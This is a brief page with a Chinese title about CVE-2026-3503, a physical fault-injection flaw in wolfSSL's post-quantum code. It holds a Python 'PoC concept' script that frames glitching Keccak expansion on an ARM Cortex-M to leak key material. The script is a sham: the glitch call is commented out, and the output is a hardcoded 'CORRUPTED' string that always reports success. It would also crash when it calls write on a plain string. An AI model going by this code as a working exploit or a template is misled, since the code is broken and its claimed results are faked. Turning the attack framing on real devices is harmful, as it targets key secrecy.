CVE-2026-3503 wolfSSL后量子实现物理攻击漏洞

#!/usr/bin/env python3 """ CVE-2026-3503 PoC Concept: Fault Injection on wolfSSL Keccak Expansion Target: ARM Cortex-M running wolfSSL with ML-KEM/ML-DSA Description: This script demonstrates the logic to synchronize a fault injection attack during the Keccak expansion phase to corrupt seed/pointer values. """ import time class FaultInjectionTarget: def __init__(self, device_interface): self.interface = device_interface self.glitch_offset = 0 self.glitch_width = 0 def trigger_encryption(self): """Trigger the target device to start ML-KEM/ML-DSA operation.""" print("[+] Triggering cryptographic operation on target...") self.interface.write(b"START_OP\n") def monitor_execution(self): """Monitor power trace or GPIO for Keccak expansion trigger.""" print("[+] Monitoring for Keccak expansion trigger...") # In a real scenario, this would use an oscilloscope or ChipWhisperer time.sleep(0.1) # Simulating detection time return True def inject_glitch(self): """Inject transient fault at precise offset.""" print(f"[!] Injecting fault: Offset={self.glitch_offset}ns, Width={self.glitch_width}ns") # Hardware specific command to inject glitch # self.interface.set_glitch(parameters) time.sleep(0.01) def collect_output(self): """Collect the ciphertext or signature output.""" print("[+] Collecting output...") return "CORRUPTED_OUTPUT_DATA" def main(): print("=== CVE-2026-3503 PoC Simulation ===") # Initialize target (simulation) target = FaultInjectionTarget(device_interface="SIMULATION") # Attempt to find the correct glitch window for offset in range(100, 500, 50): target.glitch_offset = offset target.glitch_width = 20 # Fixed width for example target.trigger_encryption() if target.monitor_execution(): target.inject_glitch() result = target.collect_output() # Hypothetical check for successful fault propagation if "CORRUPTED" in result: print(f"[+] Potential successful fault injection at offset {offset}") print("[+] Analyzing output for key material leakage...") # Further cryptanalysis would happen here break if __name__ == "__main__": main()